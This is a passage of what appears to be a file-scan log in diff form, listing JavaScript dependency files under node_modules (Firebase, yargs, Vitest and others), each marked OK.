+/scan/node_modules/@firebase/database/dist/src/core/util/Path.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/util/SortedMap.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/util/misc.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/util/ImmutableTree.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/util/EventEmitter.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/util/libs/parser.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/util/ServerValues.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/util/OnlineMonitor.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/util/validation.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/util/VisibilityMonitor.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/util/util.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/util/Tree.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/Repo.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/storage/MemoryStorage.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/storage/DOMStorageWrapper.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/storage/storage.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/ReadonlyRestClient.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/AppCheckTokenProvider.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/SnapshotHolder.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/snap/ChildrenNode.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/snap/comparators.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/snap/snap.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/snap/nodeFromJSON.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/snap/IndexMap.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/snap/childSet.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/snap/LeafNode.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/snap/Node.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/snap/indexes/ValueIndex.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/snap/indexes/PathIndex.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/snap/indexes/PriorityIndex.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/snap/indexes/Index.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/snap/indexes/KeyIndex.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/CompleteChildSource.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/EventGenerator.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/ViewProcessor.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/View.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/Event.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/EventRegistration.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/CacheNode.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/EventQueue.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/ChildChangeAccumulator.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/ViewCache.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/QueryParams.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/filter/NodeFilter.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/filter/IndexedFilter.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/filter/RangedFilter.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/filter/LimitedFilter.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/view/Change.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/SyncTree.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/CompoundWrite.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/SyncPoint.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/stats/StatsManager.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/stats/StatsCollection.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/stats/StatsListener.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/stats/StatsReporter.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/core/SparseSnapshotTree.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/api.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/tsdoc-metadata.json: OK
+/scan/node_modules/@firebase/database/dist/src/internal/index.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/realtime/Constants.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/realtime/polling/PacketReceiver.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/realtime/Connection.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/realtime/Transport.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/realtime/BrowserPollConnection.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/realtime/WebSocketConnection.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/realtime/TransportManager.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/register.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/api/Transaction.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/api/OnDisconnect.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/api/Reference.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/api/ServerValue.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/api/Database.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/api/test_access.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/api/Reference_impl.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/index.standalone.d.ts: OK
+/scan/node_modules/@firebase/database/dist/src/index.d.ts: OK
+/scan/node_modules/@firebase/database/README.md: OK
+/scan/node_modules/@firebase/database/package.json: OK
+/scan/node_modules/@firebase/logger/dist/index.cjs.js.map: OK
+/scan/node_modules/@firebase/logger/dist/index.cjs.js: OK
+/scan/node_modules/@firebase/logger/dist/test/custom-logger.test.d.ts: OK
+/scan/node_modules/@firebase/logger/dist/test/logger.test.d.ts: OK
+/scan/node_modules/@firebase/logger/dist/esm/index.esm2017.js: OK
+/scan/node_modules/@firebase/logger/dist/esm/index.esm5.js: OK
+/scan/node_modules/@firebase/logger/dist/esm/test/custom-logger.test.d.ts: OK
+/scan/node_modules/@firebase/logger/dist/esm/test/logger.test.d.ts: OK
+/scan/node_modules/@firebase/logger/dist/esm/index.esm5.js.map: OK
+/scan/node_modules/@firebase/logger/dist/esm/package.json: OK
+/scan/node_modules/@firebase/logger/dist/esm/index.esm2017.js.map: OK
+/scan/node_modules/@firebase/logger/dist/esm/index.d.ts: OK
+/scan/node_modules/@firebase/logger/dist/esm/src/logger.d.ts: OK
+/scan/node_modules/@firebase/logger/dist/index.d.ts: OK
+/scan/node_modules/@firebase/logger/dist/src/logger.d.ts: OK
+/scan/node_modules/@firebase/logger/README.md: OK
+/scan/node_modules/@firebase/logger/package.json: OK
+/scan/node_modules/@firebase/database-compat/standalone/package.json: OK
+/scan/node_modules/@firebase/database-compat/dist/index.esm2017.js: OK
+/scan/node_modules/@firebase/database-compat/dist/index.esm5.js: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/test/transaction.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/test/datasnapshot.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/test/info.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/test/order_by.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/test/query.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/test/browser/crawler_support.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/test/promise.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/test/servervalues.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/test/database.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/test/helpers/events.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/test/helpers/util.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/test/order.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/src/index.node.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/src/util/validation.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/src/util/util.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/src/api/TransactionResult.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/src/api/onDisconnect.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/src/api/Reference.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/src/api/Database.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/src/api/internal.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/src/index.standalone.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/database-compat/src/index.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/index.js: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/package.json: OK
+/scan/node_modules/@firebase/database-compat/dist/node-esm/index.js.map: OK
+/scan/node_modules/@firebase/database-compat/dist/index.standalone.js.map: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/test/transaction.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/test/datasnapshot.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/test/info.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/test/order_by.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/test/query.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/test/browser/crawler_support.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/test/promise.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/test/servervalues.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/test/database.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/test/helpers/events.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/test/helpers/util.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/test/order.test.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/src/index.node.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/src/util/validation.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/src/util/util.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/src/api/TransactionResult.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/src/api/onDisconnect.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/src/api/Reference.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/src/api/Database.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/src/api/internal.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/src/index.standalone.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/database-compat/src/index.d.ts: OK
+/scan/node_modules/@firebase/database-compat/dist/index.js: OK
+/scan/node_modules/@firebase/database-compat/dist/index.esm5.js.map: OK
+/scan/node_modules/@firebase/database-compat/dist/index.standalone.js: OK
+/scan/node_modules/@firebase/database-compat/dist/index.esm2017.js.map: OK
+/scan/node_modules/@firebase/database-compat/dist/index.js.map: OK
+/scan/node_modules/@firebase/database-compat/README.md: OK
+/scan/node_modules/@firebase/database-compat/package.json: OK
+/scan/node_modules/@firebase/util/dist/index.cjs.js.map: OK
+/scan/node_modules/@firebase/util/dist/index.node.d.ts: OK
+/scan/node_modules/@firebase/util/dist/index.cjs.js: OK
+/scan/node_modules/@firebase/util/dist/index.esm2017.js: OK
+/scan/node_modules/@firebase/util/dist/index.esm5.js: OK
+/scan/node_modules/@firebase/util/dist/node-esm/index.node.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/index.node.esm.js.map: OK
+/scan/node_modules/@firebase/util/dist/node-esm/test/defaults.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/test/emulator.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/test/exponential_backoff.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/test/environments.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/test/errors.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/test/deepCopy.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/test/subscribe.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/test/compat.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/test/object.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/test/base64.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/index.node.esm.js: OK
+/scan/node_modules/@firebase/util/dist/node-esm/package.json: OK
+/scan/node_modules/@firebase/util/dist/node-esm/index.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/constants.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/jwt.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/exponential_backoff.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/defaults.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/deferred.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/errors.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/query.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/obj.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/utf8.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/sha1.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/deepCopy.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/assert.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/subscribe.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/formatters.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/validation.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/global.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/json.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/compat.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/promise.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/uuid.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/crypt.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/environment.d.ts: OK
+/scan/node_modules/@firebase/util/dist/node-esm/src/emulator.d.ts: OK
+/scan/node_modules/@firebase/util/dist/util-public.d.ts: OK
+/scan/node_modules/@firebase/util/dist/test/defaults.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/test/emulator.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/test/exponential_backoff.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/test/environments.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/test/errors.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/test/deepCopy.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/test/subscribe.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/test/compat.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/test/object.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/test/base64.test.d.ts: OK
+/scan/node_modules/@firebase/util/dist/index.node.cjs.js: OK
+/scan/node_modules/@firebase/util/dist/tsdoc-metadata.json: OK
+/scan/node_modules/@firebase/util/dist/index.esm5.js.map: OK
+/scan/node_modules/@firebase/util/dist/index.esm2017.js.map: OK
+/scan/node_modules/@firebase/util/dist/util.d.ts: OK
+/scan/node_modules/@firebase/util/dist/index.d.ts: OK
+/scan/node_modules/@firebase/util/dist/index.node.cjs.js.map: OK
+/scan/node_modules/@firebase/util/dist/src/constants.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/jwt.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/exponential_backoff.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/defaults.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/deferred.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/errors.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/query.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/obj.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/utf8.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/sha1.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/deepCopy.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/assert.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/subscribe.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/formatters.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/validation.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/global.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/json.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/compat.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/promise.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/uuid.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/crypt.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/environment.d.ts: OK
+/scan/node_modules/@firebase/util/dist/src/emulator.d.ts: OK
+/scan/node_modules/@firebase/util/README.md: OK
+/scan/node_modules/@firebase/util/package.json: OK
+/scan/node_modules/@firebase/app-check-interop-types/README.md: OK
+/scan/node_modules/@firebase/app-check-interop-types/package.json: OK
+/scan/node_modules/@firebase/app-check-interop-types/index.d.ts: OK
+/scan/node_modules/@firebase/component/dist/index.cjs.js.map: OK
+/scan/node_modules/@firebase/component/dist/index.cjs.js: OK
+/scan/node_modules/@firebase/component/dist/test/setup.d.ts: OK
+/scan/node_modules/@firebase/component/dist/test/util.d.ts: OK
+/scan/node_modules/@firebase/component/dist/esm/index.esm2017.js: OK
+/scan/node_modules/@firebase/component/dist/esm/index.esm5.js: OK
+/scan/node_modules/@firebase/component/dist/esm/test/setup.d.ts: OK
+/scan/node_modules/@firebase/component/dist/esm/test/util.d.ts: OK
+/scan/node_modules/@firebase/component/dist/esm/index.esm5.js.map: OK
+/scan/node_modules/@firebase/component/dist/esm/package.json: OK
+/scan/node_modules/@firebase/component/dist/esm/index.esm2017.js.map: OK
+/scan/node_modules/@firebase/component/dist/esm/index.d.ts: OK
+/scan/node_modules/@firebase/component/dist/esm/src/constants.d.ts: OK
+/scan/node_modules/@firebase/component/dist/esm/src/types.d.ts: OK
+/scan/node_modules/@firebase/component/dist/esm/src/provider.test.d.ts: OK
+/scan/node_modules/@firebase/component/dist/esm/src/component.d.ts: OK
+/scan/node_modules/@firebase/component/dist/esm/src/component_container.d.ts: OK
+/scan/node_modules/@firebase/component/dist/esm/src/provider.d.ts: OK
+/scan/node_modules/@firebase/component/dist/esm/src/component_container.test.d.ts: OK
+/scan/node_modules/@firebase/component/dist/index.d.ts: OK
+/scan/node_modules/@firebase/component/dist/src/constants.d.ts: OK
+/scan/node_modules/@firebase/component/dist/src/types.d.ts: OK
+/scan/node_modules/@firebase/component/dist/src/provider.test.d.ts: OK
+/scan/node_modules/@firebase/component/dist/src/component.d.ts: OK
+/scan/node_modules/@firebase/component/dist/src/component_container.d.ts: OK
+/scan/node_modules/@firebase/component/dist/src/provider.d.ts: OK
+/scan/node_modules/@firebase/component/dist/src/component_container.test.d.ts: OK
+/scan/node_modules/@firebase/component/README.md: OK
+/scan/node_modules/@firebase/component/package.json: OK
+/scan/node_modules/@firebase/app-types/private.d.ts: OK
+/scan/node_modules/@firebase/app-types/README.md: OK
+/scan/node_modules/@firebase/app-types/package.json: OK
+/scan/node_modules/@firebase/app-types/index.d.ts: OK
+/scan/node_modules/@firebase/auth-interop-types/README.md: OK
+/scan/node_modules/@firebase/auth-interop-types/package.json: OK
+/scan/node_modules/@firebase/auth-interop-types/index.d.ts: OK
+/scan/node_modules/@firebase/database-types/README.md: OK
+/scan/node_modules/@firebase/database-types/package.json: OK
+/scan/node_modules/@firebase/database-types/index.d.ts: OK
+/scan/node_modules/prop-types/factory.js: OK
+/scan/node_modules/prop-types/LICENSE: OK
+/scan/node_modules/prop-types/prop-types.js: OK
+/scan/node_modules/prop-types/index.js: OK
+/scan/node_modules/prop-types/checkPropTypes.js: OK
+/scan/node_modules/prop-types/README.md: OK
+/scan/node_modules/prop-types/factoryWithThrowingShims.js: OK
+/scan/node_modules/prop-types/package.json: OK
+/scan/node_modules/prop-types/prop-types.min.js: OK
+/scan/node_modules/prop-types/lib/ReactPropTypesSecret.js: OK
+/scan/node_modules/prop-types/lib/has.js: OK
+/scan/node_modules/prop-types/factoryWithTypeCheckers.js: OK
+/scan/node_modules/mime/types/standard.js: OK
+/scan/node_modules/mime/types/other.js: OK
+/scan/node_modules/mime/LICENSE: OK
+/scan/node_modules/mime/CHANGELOG.md: OK
+/scan/node_modules/mime/Mime.js: OK
+/scan/node_modules/mime/index.js: OK
+/scan/node_modules/mime/README.md: OK
+/scan/node_modules/mime/package.json: OK
+/scan/node_modules/mime/cli.js: OK
+/scan/node_modules/mime/lite.js: OK
+/scan/node_modules/domelementtype/LICENSE: OK
+/scan/node_modules/domelementtype/readme.md: OK
+/scan/node_modules/domelementtype/package.json: OK
+/scan/node_modules/domelementtype/lib/esm/index.js: OK
+/scan/node_modules/domelementtype/lib/esm/package.json: OK
+/scan/node_modules/domelementtype/lib/esm/index.d.ts: OK
+/scan/node_modules/domelementtype/lib/esm/index.d.ts.map: OK
+/scan/node_modules/domelementtype/lib/index.js: OK
+/scan/node_modules/domelementtype/lib/index.d.ts: OK
+/scan/node_modules/domelementtype/lib/index.d.ts.map: OK
+/scan/node_modules/yargs/locales/tr.json: OK
+/scan/node_modules/yargs/locales/hu.json: OK
+/scan/node_modules/yargs/locales/nl.json: OK
+/scan/node_modules/yargs/locales/pirate.json: OK
+/scan/node_modules/yargs/locales/zh_CN.json: OK
+/scan/node_modules/yargs/locales/ja.json: OK
+/scan/node_modules/yargs/locales/de.json: OK
+/scan/node_modules/yargs/locales/ru.json: OK
+/scan/node_modules/yargs/locales/pl.json: OK
+/scan/node_modules/yargs/locales/fi.json: OK
+/scan/node_modules/yargs/locales/pt.json: OK
+/scan/node_modules/yargs/locales/be.json: OK
+/scan/node_modules/yargs/locales/en.json: OK
+/scan/node_modules/yargs/locales/it.json: OK
+/scan/node_modules/yargs/locales/fr.json: OK
+/scan/node_modules/yargs/locales/hi.json: OK
+/scan/node_modules/yargs/locales/ko.json: OK
+/scan/node_modules/yargs/locales/cs.json: OK
+/scan/node_modules/yargs/locales/id.json: OK
+/scan/node_modules/yargs/locales/uz.json: OK
+/scan/node_modules/yargs/locales/pt_BR.json: OK
+/scan/node_modules/yargs/locales/zh_TW.json: OK
+/scan/node_modules/yargs/locales/th.json: OK
+/scan/node_modules/yargs/locales/uk_UA.json: OK
+/scan/node_modules/yargs/locales/nn.json: OK
+/scan/node_modules/yargs/locales/es.json: OK
+/scan/node_modules/yargs/locales/nb.json: OK
+/scan/node_modules/yargs/LICENSE: OK
+/scan/node_modules/yargs/browser.mjs: OK
+/scan/node_modules/yargs/yargs.mjs: OK
+/scan/node_modules/yargs/README.md: OK
+/scan/node_modules/yargs/package.json: OK
+/scan/node_modules/yargs/index.cjs: OK
+/scan/node_modules/yargs/index.mjs: OK
+/scan/node_modules/yargs/lib/platform-shims/browser.mjs: OK
+/scan/node_modules/yargs/lib/platform-shims/esm.mjs: OK
+/scan/node_modules/yargs/yargs: OK
+/scan/node_modules/yargs/build/index.cjs: OK
+/scan/node_modules/yargs/build/lib/argsert.js: OK
+/scan/node_modules/yargs/build/lib/yerror.js: OK
+/scan/node_modules/yargs/build/lib/typings/yargs-parser-types.js: OK
+/scan/node_modules/yargs/build/lib/typings/common-types.js: OK
+/scan/node_modules/yargs/build/lib/parse-command.js: OK
+/scan/node_modules/yargs/build/lib/completion.js: OK
+/scan/node_modules/yargs/build/lib/utils/apply-extends.js: OK
+/scan/node_modules/yargs/build/lib/utils/is-promise.js: OK
+/scan/node_modules/yargs/build/lib/utils/set-blocking.js: OK
+/scan/node_modules/yargs/build/lib/utils/maybe-async-result.js: OK
+/scan/node_modules/yargs/build/lib/utils/which-module.js: OK
+/scan/node_modules/yargs/build/lib/utils/obj-filter.js: OK
+/scan/node_modules/yargs/build/lib/utils/process-argv.js: OK
+/scan/node_modules/yargs/build/lib/utils/levenshtein.js: OK
+/scan/node_modules/yargs/build/lib/command.js: OK
+/scan/node_modules/yargs/build/lib/validation.js: OK
+/scan/node_modules/yargs/build/lib/middleware.js: OK
+/scan/node_modules/yargs/build/lib/usage.js: OK
+/scan/node_modules/yargs/build/lib/completion-templates.js: OK
+/scan/node_modules/yargs/build/lib/yargs-factory.js: OK
+/scan/node_modules/yargs/helpers/helpers.mjs: OK
+/scan/node_modules/yargs/helpers/index.js: OK
+/scan/node_modules/yargs/helpers/package.json: OK
+/scan/node_modules/yargs/browser.d.ts: OK
+/scan/node_modules/@vitest/spy/LICENSE: OK
+/scan/node_modules/@vitest/spy/dist/index.js: OK
+/scan/node_modules/@vitest/spy/dist/index.d.ts: OK
+/scan/node_modules/@vitest/spy/README.md: OK
+/scan/node_modules/@vitest/spy/package.json: OK
+/scan/node_modules/@vitest/snapshot/LICENSE: OK
+/scan/node_modules/@vitest/snapshot/dist/index.js: OK
+/scan/node_modules/@vitest/snapshot/dist/index-S94ASl6q.d.ts: OK
+/scan/node_modules/@vitest/snapshot/dist/manager.js: OK
+/scan/node_modules/@vitest/snapshot/dist/manager.d.ts: OK
+/scan/node_modules/@vitest/snapshot/dist/index.d.ts: OK
+/scan/node_modules/@vitest/snapshot/dist/environment-cMiGIVXz.d.ts: OK
+/scan/node_modules/@vitest/snapshot/dist/environment.d.ts: OK
+/scan/node_modules/@vitest/snapshot/dist/environment.js: OK
+/scan/node_modules/@vitest/snapshot/README.md: OK
+/scan/node_modules/@vitest/snapshot/package.json: OK
+/scan/node_modules/@vitest/snapshot/manager.d.ts: OK
+/scan/node_modules/@vitest/snapshot/environment.d.ts: OK
+/scan/node_modules/@vitest/runner/LICENSE: OK
+/scan/node_modules/@vitest/runner/dist/types.js: OK
+/scan/node_modules/@vitest/runner/dist/chunk-tasks.js: OK
+/scan/node_modules/@vitest/runner/dist/types.d.ts: OK
+/scan/node_modules/@vitest/runner/dist/index.js: OK
+/scan/node_modules/@vitest/runner/dist/utils.d.ts: OK
+/scan/node_modules/@vitest/runner/dist/utils.js: OK
+/scan/node_modules/@vitest/runner/dist/index.d.ts: OK
+/scan/node_modules/@vitest/runner/dist/tasks-K5XERDtv.d.ts: OK
+/scan/node_modules/@vitest/runner/types.d.ts: OK
+/scan/node_modules/@vitest/runner/node_modules/p-limit/license: OK
+/scan/node_modules/@vitest/runner/node_modules/p-limit/index.js: OK
+/scan/node_modules/@vitest/runner/node_modules/p-limit/readme.md: OK
+/scan/node_modules/@vitest/runner/node_modules/p-limit/package.json: OK
+/scan/node_modules/@vitest/runner/node_modules/p-limit/async-hooks-stub.js: OK
+/scan/node_modules/@vitest/runner/node_modules/p-limit/index.d.ts: OK
+/scan/node_modules/@vitest/runner/node_modules/yocto-queue/license: OK
+/scan/node_modules/@vitest/runner/node_modules/yocto-queue/index.js: OK
+/scan/node_modules/@vitest/runner/node_modules/yocto-queue/readme.md: OK
+/scan/node_modules/@vitest/runner/node_modules/yocto-queue/package.json: OK
+/scan/node_modules/@vitest/runner/node_modules/yocto-queue/index.d.ts: OK
+/scan/node_modules/@vitest/runner/README.md: OK
+/scan/node_modules/@vitest/runner/package.json: OK
+/scan/node_modules/@vitest/runner/utils.d.ts: OK
+/scan/node_modules/@vitest/utils/diff.d.ts: OK
+/scan/node_modules/@vitest/utils/error.d.ts: OK
+/scan/node_modules/@vitest/utils/LICENSE: OK
+/scan/node_modules/@vitest/utils/dist/diff.d.ts: OK
+/scan/node_modules/@vitest/utils/dist/error.d.ts: OK
+/scan/node_modules/@vitest/utils/dist/types.js: OK
+/scan/node_modules/@vitest/utils/dist/types-9l4niLY8.d.ts: OK
+/scan/node_modules/@vitest/utils/dist/types.d.ts: OK
+/scan/node_modules/@vitest/utils/dist/index.js: OK
+/scan/node_modules/@vitest/utils/dist/error.js: OK
+/scan/node_modules/@vitest/utils/dist/chunk-display.js: OK
+/scan/node_modules/@vitest/utils/dist/chunk-colors.js: OK
+/scan/node_modules/@vitest/utils/dist/source-map.js: OK
+/scan/node_modules/@vitest/utils/dist/helpers.js: OK
+/scan/node_modules/@vitest/utils/dist/helpers.d.ts: OK
+/scan/node_modules/@vitest/utils/dist/index.d.ts: OK
+/scan/node_modules/@vitest/utils/dist/source-map.d.ts: OK
